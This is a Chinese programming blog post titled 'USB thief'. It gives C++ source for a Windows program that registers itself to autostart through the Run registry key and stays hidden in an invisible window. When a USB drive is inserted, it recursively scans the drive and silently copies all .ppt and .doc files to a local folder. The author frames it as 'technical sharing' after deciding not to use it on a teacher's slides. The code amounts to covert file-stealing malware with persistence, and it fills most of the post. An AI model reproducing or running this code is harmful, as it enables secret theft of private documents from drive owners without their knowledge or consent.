U盘小偷——C++实现U盘插入检测和文件扫描拷贝

2023-11-21 03:59

本文主要是介绍U盘小偷——C++实现U盘插入检测和文件扫描拷贝,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前几天女朋友说老师上课的PPT不共享,没法复习,想着写个U盘小偷拷贝PPT来着,后来觉得这样的行为这是不对的,万一不小心复制了老师的专利啥的,或者一些不可描述的东西,就闹大了。

虽然没有采取实际行动,但是相关的功能还是实现,技术共享。

重点就是U盘插入监控,获得U盘盘符,开机自启动,文件扫描和复制。

 

1.对u盘插入行为监控,并获得盘符

  当U盘插入的时候会产生一个消息WM_DEVICECHANG,只要我们获得这个消息,然后进行处理就行。

  为了获得消息,我们需要一个窗口

  

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow)
{static TCHAR szAppName[] = TEXT("UUUUUU");HWND               hwnd;MSG                msg;WNDCLASS           wndclass;wndclass.style = 0;wndclass.lpfnWndProc = WndProc;wndclass.cbClsExtra = 0;wndclass.cbWndExtra = 0;wndclass.hInstance = hInstance;wndclass.hIcon = 0;wndclass.hCursor = 0;wndclass.hbrBackground = 0;wndclass.lpszMenuName = NULL;wndclass.lpszClassName = szAppName;SetAutoRun(TRUE);if (!RegisterClass(&wndclass)){MessageBox(NULL, TEXT("Program requires Windows NT!"),szAppName, MB_ICONERROR);return 0;}hwnd = CreateWindow(szAppName, NULL,WS_DISABLED,0, 0,0, 0,NULL, NULL, hInstance, NULL);while (GetMessage(&msg, NULL, 0, 0)){TranslateMessage(&msg);DispatchMessage(&msg);}return msg.wParam;
}

  窗口回调函数:

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAMlParam)
{switch (message){case WM_CREATE:           //处理一些要下面要用到的全局变量U[1] = ':';SetTimer(hwnd, TIMER, 5000, 0);//启动计时器return 0;case WM_TIMER:             //timer message 
SendMessage(hwnd, WM_DEVICECHANGE, 0, 0);//检测有没有插入设备消息return 0;case WM_DEVICECHANGE:OnDeviceChange(hwnd, wParam, lParam);return 0;case WM_DESTROY:KillTimer(hwnd, TIMER);PostQuitMessage(0);return 0;}return DefWindowProc(hwnd, message, wParam, lParam);
}
  OnDeviceChange函数是对WM_DEVICECHANGE消息的处理,在这个函数里,就可以实现对u盘插入行为的监控,并处理。
LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;switch (wParam){case DBT_DEVICEARRIVAL: //插入if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME){PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;U[0] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符//MessageBox(0, U, "Notice!", MB_OK);string Utemp;Utemp = U;//    Utemp += "\\";Filesearch(Utemp, 0);  //搜索u盘CopyPPT(FileList);    //复制pptCopyDOC(FileList);    //复制doc//MessageBox(0, "Copy Success", "Notice!", MB_OK);
}break;case DBT_DEVICEREMOVECOMPLETE: //设备删除//MessageBox(0, "u盘退出", "Notice!", MB_OK);break;}return LRESULT();
}
  FirstDriveFromMask(lpdbv->dbcv_unitmask);可以获得盘符,有了盘符,U盘就相当于一个普通的文件夹了。

2.文件遍历 查找 搜索 复制
void Filesearch(string Path, int Layer)
{FileInfo FileInfomation;struct _finddata_t filefind;string Current = Path + "\\*.*";                            // 修改此处改变搜索条件int Done = 0, i, Handle;string FullPath;if ((Handle = _findfirst(Current.c_str(), &filefind)) != -1){while (!(Done = _findnext(Handle, &filefind))){if (strcmp(filefind.name, "..") == 0)continue;for (i = 0; i <Layer; i++)printf("\t");if ((_A_SUBDIR == filefind.attrib))                // 是目录
            {printf("[Dir]:\t%s\n", filefind.name);Current = Path + "\\" + filefind.name;Filesearch(Current, Layer + 1);                    // 递归遍历子目录
            }else{printf("[File]:\t%s\n", filefind.name);FullPath = Path + "\\" + filefind.name;FileInfomation.Name = filefind.name;FileInfomation.FullPath = FullPath;FileList.push_back(FileInfomation);FullPath.empty();}}_findclose(Handle);}
}void CopyPPT(vector<FileInfo> FileList)
{mkdir("C:\\Destest");for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator){string TempPath;//printf("%s\r\n", iterator->);if ((int)(iterator->Name.find(".ppt")) > 0){TempPath = DesPath + "\\" + iterator->Name ;BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);cout << GetLastError();if (bOk == TRUE){//    MessageBox(0, "Copy Success", "Notice!", MB_OK);
}else{//    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
                }}}
}void CopyDOC(vector<FileInfo> FileList)
{mkdir("C:\\Destest");for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator){string TempPath;//printf("%s\r\n", iterator->);if ((int)(iterator->Name.find(".doc")) > 0){TempPath = DesPath + "\\" + iterator->Name;BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);cout << GetLastError();if (bOk == TRUE){//    MessageBox(0, "Copy Success", "Notice!", MB_OK);
}else{//    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
            }}}
}


3.开机自启动 注册表实现
void SetAutoRun(BOOL bAutoRun)
{HKEY hKey;char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系统的启动项  if (bAutoRun){if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打开启动项       
        {TCHAR szModule[_MAX_PATH];GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路径  RegSetValueEx(hKey, "U盘检测", 0, REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一个子Key,并设置值,"Client"是应用程序名字(不加后缀.exe)  RegCloseKey(hKey); //关闭注册表  
        }else{//    MessageBox("系统参数错误,不能随系统启动");
        }}else{if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS){RegDeleteValue(hKey, "U盘检测");RegCloseKey(hKey);}}
}

 

Win10下可以实现功能,另外这不是控制台程序,为了实现对消息的监控,这得是窗口程序。

 

猥琐的小程序可能包含一些奇淫技巧,但是还是不能做非法不道德事。



 

转载于:https://www.cnblogs.com/HsinTsao/p/6718806.html

这篇关于U盘小偷——C++实现U盘插入检测和文件扫描拷贝的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/399659

相关文章

c++ 类成员变量默认初始值的实现

《c++类成员变量默认初始值的实现》本文主要介绍了c++类成员变量默认初始值,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧... 目录C++类成员变量初始化c++类的变量的初始化在C++中,如果使用类成员变量时未给定其初始值,那么它将被

C++中NULL与nullptr的区别小结

《C++中NULL与nullptr的区别小结》本文介绍了C++编程中NULL与nullptr的区别,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编... 目录C++98空值——NULLC++11空值——nullptr区别对比示例 C++98空值——NUL

C++ Log4cpp跨平台日志库的使用小结

《C++Log4cpp跨平台日志库的使用小结》Log4cpp是c++类库,本文详细介绍了C++日志库log4cpp的使用方法,及设置日志输出格式和优先级,具有一定的参考价值,感兴趣的可以了解一下... 目录一、介绍1. log4cpp的日志方式2.设置日志输出的格式3. 设置日志的输出优先级二、Window

Qt使用QSqlDatabase连接MySQL实现增删改查功能

《Qt使用QSqlDatabase连接MySQL实现增删改查功能》这篇文章主要为大家详细介绍了Qt如何使用QSqlDatabase连接MySQL实现增删改查功能,文中的示例代码讲解详细,感兴趣的小伙伴... 目录一、创建数据表二、连接mysql数据库三、封装成一个完整的轻量级 ORM 风格类3.1 表结构

基于Python实现一个图片拆分工具

《基于Python实现一个图片拆分工具》这篇文章主要为大家详细介绍了如何基于Python实现一个图片拆分工具,可以根据需要的行数和列数进行拆分,感兴趣的小伙伴可以跟随小编一起学习一下... 简单介绍先自己选择输入的图片,默认是输出到项目文件夹中,可以自己选择其他的文件夹,选择需要拆分的行数和列数,可以通过

Python中将嵌套列表扁平化的多种实现方法

《Python中将嵌套列表扁平化的多种实现方法》在Python编程中,我们常常会遇到需要将嵌套列表(即列表中包含列表)转换为一个一维的扁平列表的需求,本文将给大家介绍了多种实现这一目标的方法,需要的朋... 目录python中将嵌套列表扁平化的方法技术背景实现步骤1. 使用嵌套列表推导式2. 使用itert

Python使用pip工具实现包自动更新的多种方法

《Python使用pip工具实现包自动更新的多种方法》本文深入探讨了使用Python的pip工具实现包自动更新的各种方法和技术,我们将从基础概念开始,逐步介绍手动更新方法、自动化脚本编写、结合CI/C... 目录1. 背景介绍1.1 目的和范围1.2 预期读者1.3 文档结构概述1.4 术语表1.4.1 核

在Linux中改变echo输出颜色的实现方法

《在Linux中改变echo输出颜色的实现方法》在Linux系统的命令行环境下,为了使输出信息更加清晰、突出,便于用户快速识别和区分不同类型的信息,常常需要改变echo命令的输出颜色,所以本文给大家介... 目python录在linux中改变echo输出颜色的方法技术背景实现步骤使用ANSI转义码使用tpu

Python使用python-can实现合并BLF文件

《Python使用python-can实现合并BLF文件》python-can库是Python生态中专注于CAN总线通信与数据处理的强大工具,本文将使用python-can为BLF文件合并提供高效灵活... 目录一、python-can 库:CAN 数据处理的利器二、BLF 文件合并核心代码解析1. 基础合

Python使用OpenCV实现获取视频时长的小工具

《Python使用OpenCV实现获取视频时长的小工具》在处理视频数据时,获取视频的时长是一项常见且基础的需求,本文将详细介绍如何使用Python和OpenCV获取视频时长,并对每一行代码进行深入解析... 目录一、代码实现二、代码解析1. 导入 OpenCV 库2. 定义获取视频时长的函数3. 打开视频文